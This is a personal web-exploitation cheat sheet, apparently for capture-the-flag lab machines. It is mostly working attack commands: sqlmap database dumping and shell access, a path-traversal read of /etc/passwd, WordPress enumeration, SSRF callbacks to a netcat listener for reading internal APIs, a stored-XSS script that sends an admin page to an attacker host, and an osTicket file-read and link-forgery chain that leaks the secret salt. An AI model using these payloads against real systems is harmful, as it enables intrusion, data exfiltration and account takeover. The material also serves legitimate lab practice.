Web Exploitation Cheatsheet

Most footholds on this site were web bugs. sqlmap for injection, and I keep the PayloadsAllTheThings tab open for SSTI/upload/XXE bypasses rather than memorising them.

Injection & path traversal#

Point sqlmap at a captured request and let it walk to a dump or a shell, and a single traversal probe confirms LFI fast.

bash

# point sqlmap at a captured request, let it walk to a shell
sqlmap -r req.txt --batch --dbs
sqlmap -r req.txt --batch -D <db> -T <table> --dump

# quick LFI / path-traversal probe
curl "http://<target>.htb/index.php?page=../../../../etc/passwd"

CMS enumeration#

WordPress-heavy box? Enumerate users and vulnerable plugins before hunting the version manually.

bash

# wordpress-heavy box? enumerate users + vulnerable plugins
wpscan --url http://<target>.htb --enumerate u,vp --api-token <TOKEN>

Any field or parameter that pulls a URL server-side reaches whatever the box can reach. Confirm with a callback first, then walk 127.0.0.1 ports and read internal-only APIs through it.

bash

# 1. confirm the fetch calls back to my listener
nc -nlvp 443                 # then set the URL field to http://<LHOST>:443/

# 2. an upload-style SSRF stores the fetched body — read it back out
curl -s http://<target>.htb/upload -F "url=http://127.0.0.1:5000/api/internal" -F "file=@x.png"
curl -s http://<target>.htb/static/uploads/<returned-id>   # the internal response

When an admin bot renders my input, my JS runs in their session. Fetch an admin-only page and ship the response to my listener, then feed the log line to hURL -u to URL-decode it.

html

<script>
fetch("http://<target>.htb/admin/secret")
  .then(r => r.text())
  .then(d => fetch("http://<LHOST>/?x=" + encodeURIComponent(d)));
</script>

bash

python3 -m http.server 80    # catch the callback, then: hURL -u "<captured %XX blob>"

osTicket file read & link forgery (CVE-2026-22200)#

A PHP filter chain in a ticket body is rendered by mPDF and embedded as bitmap pixels, export the PDF, read the pixels back, base64-decode + zlib-inflate to recover any www-data file (Horizon3 PoC). Leaking SECRET_SALT then lets you forge access links, since the token is md5(id ‖ lower(email) ‖ salt).

bash

# read a file (needs a confirmed client session)
python3 fileread.py /var/www/osticket/upload/include/ost-config.php   # -> SECRET_SALT

# forge a signed access link to ANY ticket once you have the salt
python3 osticket_forge_access_link.py <TICKET_NO> <user_id> <owner_email> '<SECRET_SALT>' http://ticket.<host>

Web Exploitation

Injection & path traversal#

CMS enumeration#

SSRF (blind fetch to internal services)#

Stored / blind XSS (exfil as the admin)#

osTicket file read & link forgery (CVE-2026-22200)#